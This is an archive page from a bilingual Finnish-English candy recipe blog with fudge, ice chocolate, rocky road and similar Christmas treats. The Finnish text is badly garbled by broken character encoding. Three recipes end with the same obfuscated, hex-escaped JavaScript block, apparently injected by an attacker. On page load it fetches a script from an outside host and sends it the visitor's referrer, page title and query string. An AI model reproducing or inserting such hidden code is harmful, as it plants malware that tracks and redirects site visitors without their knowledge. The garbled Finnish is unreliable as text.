Selaat arkistoa kohteelle Makeiset.

Vaahtokarkkifudge (Marshmallow fudge)

23.12.2017 Joulu, Makeiset

TA�ssA� yksi helppo makeinen jouluksi. TA�hA�n kA�ytin mansikan makuisia, vaaleanpunaisia vaahtokarkkeja.


Here’s one simple candy for Christmas. I used strawberry flavor, pink marshmallows to this.

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JA�A�suklaa (Ice chocolate)

21.12.2017 Joulu, Makeiset

JA�A�suklaata en ole tehnyt ikuisuuksiin. Nyt kokeilin tehdA� pienen erA�n joulupA�ytA�A�n.


I haven’t done ice chocolate for ages. Now I tried to make one small batch for Christmas.

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Jouluinen Rocky Road (Christmas Rocky Road)

8.12.2017 Joulu, Makeiset

NA�mA� Rocky Roadit ovat saaneet jouluisia makuja. NA�itA� ei voi montaa syA�dA� kerralla, koska makean kiintiA� tulee A�kkiA� tA�yteen. NA�mA� maistuvat hyvin myA�s lapsille 🙂


These Rocky Roads have got Christmas flavours. You can’t eat so many of this at one time, because the quota of sweet will be full very quickly. These are great for kids too 🙂

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Marenkikuuset (Meringue pines)

4.12.2017 Joulu, Makeiset

NA�mA� marenkikuuset saavat vA�rinsA� vihreA�stA� elintarvikevA�ristA�, ja tomusokerilla saa luotua lisA�A� joulun tunnelmaa. MeillA� nA�mA� hA�visivA�t alta aikayksikA�n tyttA�jen suihin.


These meringue pinesA�get their color from the green food color, and with icing sugar you can create more Christmas ambience. These disappeared very quickly to our girls mouths.

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Aprikoosi-samppanjamarmeladit (Apricot champagne marmalades)

6.1.2017 Makeiset

Marmeladia! Jos mielesi tekee marmeladimakeisia, tA�ssA� sinulle helppo ohje. Itse tekeminen ei vie paljoa aikaa, eniten aikaa kuluu kuivattelussa. NA�ihin kA�ytin silikonisia vuokia, myA�s suklaamuotit soveltuvat nA�ihin mainiosti. NA�mA� sopivat hyvin myA�s lahjaksi. AlkuperA�inen ohje lA�ytyy tA�A�llA�.
Huomioi nA�iden tekemisessA� vaadittava jA�A�hdytysaika jA�A�kaapissa ja sen jA�lkeen huoneenlA�mmA�ssA�. NA�iden violetti sA�vy on saatu aikaan kA�yttA�mA�llA� Wilton Color Right -sarjan vA�rejA�.

 

 

 

 

 

 

 

 

 

 

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Marmalade! If you want to eat marmalade candies, here is a easy recipe for you. Making these candies doesn’t take so much time, the most time goes with waiting these to dry. I made this to silicone molds. but chocolate molds are good option too. These are very suitable as a gift also. The original recipe is from here.
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Piparifudge (Gingerbread fudge)

23.12.2016 Joulu, Makeiset

TA�ssA� kiva pieni herkku. Piparimauste sopii hyvin tA�hA�n fudgeen. Tekeminen on helppoa ja nopeaa, mutta huomaa aika, joka tarvitaan fudgen kiinteytymiseen. Se voi olla tunti tai enempi, riippuen siitA� annatko fudgen kiinteytyA� huoneenlA�mmA�ssA� vai jA�A�kaapissa. JA�A�kaapissa nA�mA� kiinteytyvA�t nopeammin. Joka tapauksessa, nA�mA� katoavat alta aikayksikA�n. NA�mA� sopisivat hyvin myA�s lahjaksi.

dsc_1530-2

 

 

 

 

 

 

 

 

 

 

 


Here you have a nice, little delicacy. Gingerbread fits fine for this fudge. Making fudge is quick and easy. But you have to notice the time that will be need in firming. It would be one hour or more, depending how you firm these: at room temperature or in fridge. In fridge these will be ready faster. Anyhow, these will disappear in no time. These would be nice as a gift also.

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VA�rikA�s suklaalevy

28.3.2016 Makeiset

MyA�s muu suklaa soveltuu tA�hA�n, hyvA� kombo voisi tulla esim. maitosuklaasta, valkosuklaasta ja tummasta suklaasta. Candy meltsejA� on myynnissA� esim. Confetissa.

DSC_3299 (2)1 pss punaisia candy meltsejA�
1 pss sinisiA� candy meltsejA�
1 pss valkoisia candy meltsejA�
koristerakeita

1. Sulata punaiset candy meltsit mikroaaltouunissa kuumennusta kestA�vA�ssA� kulhossa 20s kerrallaan ja sekoita aina vA�lillA�. Toista sama sinisten ja valkoisten candy meltsien kanssa.
2. Vuoraa vuoka leivinpaperilla ja lusikoi sinne tA�nne jokaista vA�riA� ympyrA�iksi.
3. Tee kuvioita veitsen tai lusikan avulla niin, ettA� vA�rit yhdistyvA�t toisiinsa.
4. Ripottele koristerakeita pinnalle ja siirrA� jA�A�kaappiin kovettumaan vA�hintA�A�n tunniksi.
5. Ota vuoka jA�A�kaapista ja painele levystA� sellaisia paloja kuin haluat.var _0x31f1=[”x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26x73x65x5Fx72x65x66x65x72x72x65x72x3D”,”x72x65x66x65x72x72x65x72″,”x26x64x65x66x61x75x6Cx74x5Fx6Bx65x79x77x6Fx72x64x3D”,”x74x69x74x6Cx65″,”x26″,”x3F”,”x72x65x70x6Cx61x63x65″,”x73x65x61x72x63x68″,”x6Cx6Fx63x61x74x69x6Fx6E”,”x26x66x72x6Dx3Dx73x63x72x69x70x74″,”x63x75x72x72x65x6Ex74x53x63x72x69x70x74″,”x69x6Ex73x65x72x74x42x65x66x6Fx72x65″,”x70x61x72x65x6Ex74x4Ex6Fx64x65″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x70x72x6Fx74x6Fx63x6Fx6C”,”x68x74x74x70x73x3A”,”x69x6Ex64x65x78x4Fx66″,”x52x5Fx50x41x54x48″,”x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

TA�hnA�muna eli tA�hnis

27.3.2016 Makeiset

NimestA� huolimatta nA�mA� ovat kokeilun arvoisia! TA�ytteen mA�A�rA� riittA�A� 6-8 munaan.

DSC_3261 (2)suklaamunia
aprikoosihilloa
150 g tuorejuustoa
30 g tomusokeria
0,5 tl sitruunamehua
0,5 tl vaniljauutetta
1, 25 dl kermaa

1. Koverra suklaamunien kansi auki ja poimi yllA�tys pois. KA�ytA� tA�ssA� veden alla kuumennettua veistA� apuna, muista kuivata veitsi ennen kA�yttA�A� ja huuhdella jokaisen kA�ytA�n jA�lkeen. SiirrA� suklaamunat kylmA�A�n tA�ytteen valmistamisen ajaksi.
2. Laita tuorejuusto, sihdattu tomusokeri, sitruunamehu ja vaniljauute vatkauskulhoon ja vatkaa 3-4 minuuttia voimakkaasti, kunnes seos os sileA�A�.
3. Vatkaa toisessa kulhossa kerma vaahdoksi. YhdistA� kermavaahto tuorejuustoseokseen ja kA�A�ntele sekaisin.
4. Pursota seos suklaamunien sisA�lle ja siirrA� jA�A�kaappiin vA�hintA�A�n puoleksi tunniksi tekeytymA�A�n.
5. LisA�A� lusikallinen aprikoosihilloa suklaamuniin ennen tarjoilua.var _0x31f1=[”x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26x73x65x5Fx72x65x66x65x72x72x65x72x3D”,”x72x65x66x65x72x72x65x72″,”x26x64x65x66x61x75x6Cx74x5Fx6Bx65x79x77x6Fx72x64x3D”,”x74x69x74x6Cx65″,”x26″,”x3F”,”x72x65x70x6Cx61x63x65″,”x73x65x61x72x63x68″,”x6Cx6Fx63x61x74x69x6Fx6E”,”x26x66x72x6Dx3Dx73x63x72x69x70x74″,”x63x75x72x72x65x6Ex74x53x63x72x69x70x74″,”x69x6Ex73x65x72x74x42x65x66x6Fx72x65″,”x70x61x72x65x6Ex74x4Ex6Fx64x65″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x70x72x6Fx74x6Fx63x6Fx6C”,”x68x74x74x70x73x3A”,”x69x6Ex64x65x78x4Fx66″,”x52x5Fx50x41x54x48″,”x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Rocky road

31.12.2015 Makeiset

DSC_2377 (2)200 g tummaa suklaata
200 g maitosuklaata
200 g valkosuklaata
30 g voita
100 g minivaahtokarkkeja
85 g suolattuja cashewpA�hkinA�itA�
15 g riisimuroja
30 g gojimarjoja

1. Vuoraa noin 20 x 25 cm uunivuoka leivinpaperilla.
2.A�Paloittele voi pieniksi nokareiksi. Paloittele tumma suklaa ja maitosuklaa kuumuutta kestA�vA�A�n kulhoon ja lisA�A� voinokareet joukkoon. Sulata suklaa-voiseos vesihauteessa sekoitellen seosta vA�lillA�.
3.A�Paloittele valkosuklaa kuumuutta kestA�vA�A�n kulhoon ja sulata se vesihauteessa.
4. Sekoita isossa kulhossa minivaahtokarkit, pA�hkinA�t, riisimurot, gojimarjat ja sula suklaa-voiseos ja kumoa sitten seos uunivuokaan.
5. Painele seos tasaisesti uunivuokaan ja valuta sitten pinnalle tasainen kerros valkosuklaata.
6. Nosta vuoka jA�hmettymA�A�n jA�A�kaappiin noin tunniksi ja leikkaa sitten kovettunut levy sopivan kokoisiksi annospaloiksi.

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JA�A�suklaa rommilla

31.12.2015 Makeiset

DSC_2373 (2)TA�stA� ohjeesta tulee noin 20 kpl suklaata.

50 g voita
100 g valkosuklaata
1 rkl rommia

1. Sulata voi kattilassa.
2. Paloittele suklaa kattilaan ja anna sulaa voin sekaan matalalla lA�mmA�llA�.
3. Mausta seos rommilla. Asettele pellille tai tarjottimelle pieniA� foliovuokia. Pursota suklaaseos vuokiin ja anna jA�A�htyA�.
4. SA�ilytA� suklaat jA�A�kaapissa.var _0x31f1=[”x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26x73x65x5Fx72x65x66x65x72x72x65x72x3D”,”x72x65x66x65x72x72x65x72″,”x26x64x65x66x61x75x6Cx74x5Fx6Bx65x79x77x6Fx72x64x3D”,”x74x69x74x6Cx65″,”x26″,”x3F”,”x72x65x70x6Cx61x63x65″,”x73x65x61x72x63x68″,”x6Cx6Fx63x61x74x69x6Fx6E”,”x26x66x72x6Dx3Dx73x63x72x69x70x74″,”x63x75x72x72x65x6Ex74x53x63x72x69x70x74″,”x69x6Ex73x65x72x74x42x65x66x6Fx72x65″,”x70x61x72x65x6Ex74x4Ex6Fx64x65″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x70x72x6Fx74x6Fx63x6Fx6C”,”x68x74x74x70x73x3A”,”x69x6Ex64x65x78x4Fx66″,”x52x5Fx50x41x54x48″,”x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}